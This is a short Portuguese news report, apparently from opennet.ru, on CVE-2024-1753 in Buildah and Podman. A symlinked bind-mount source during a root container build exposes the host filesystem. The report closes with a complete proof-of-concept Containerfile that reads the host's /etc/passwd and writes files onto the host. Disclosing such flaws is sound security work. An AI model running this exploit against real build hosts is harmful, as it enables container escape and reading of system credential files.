Nos pacotes Buildah e Podman foi identificada uma vulnerabilidade (CVE-2024-1753), que permite o acesso total ao sistema de arquivos do ambiente host durante a fase de construção de um contêiner executado com privilégios de root. Em sistemas com SELinux ativado, o acesso ao sistema de arquivos do host é restrito ao modo somente leitura. A correção está atualmente disponível como um patch, que foi aceito há alguns minutos na base de código do Buildah.
A vulnerabilidade é causada pelo fato de que, ao realizar o montagens de partes do sistema de arquivos através do comando "mount —bind" durante a construção na fase RUN, o argumento com o diretório de origem (parâmetro "source=") não é verificado quanto à existência no sistema de arquivos raiz. Um arquivo de configuração Containerfile formatado por um invasor pode usar uma imagem de contêiner em que o diretório de origem para montagem é definido como um link simbólico para o sistema de arquivos raiz. Nesse caso, a operação de montagem resultará em montar o sistema de arquivos raiz do ambiente host dentro do contêiner, permitindo o acesso total ao sistema de arquivos do ambiente host durante a fase RUN com comandos como "buildah build" ou "podman build".
Exemplo de um arquivo Containerfile malicioso, cuja construção com o comando "podman build -f ~/Containerfile ." levará à exibição do conteúdo de /etc/passwd e à criação dos arquivos /BIND_BREAKEOUT e /etc/BIND_BREAKOUT2 no ambiente host: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "Com o exploit, mostrar root do host, não o root do contêiner, e criar /BIND_BREAKOUT em / no host" RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "Com o exploit, mostrar /etc/passwd do host, não o do contêiner, e criar /BIND_BREAKOUT2 em /etc no host" RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Fonte: opennet.ru
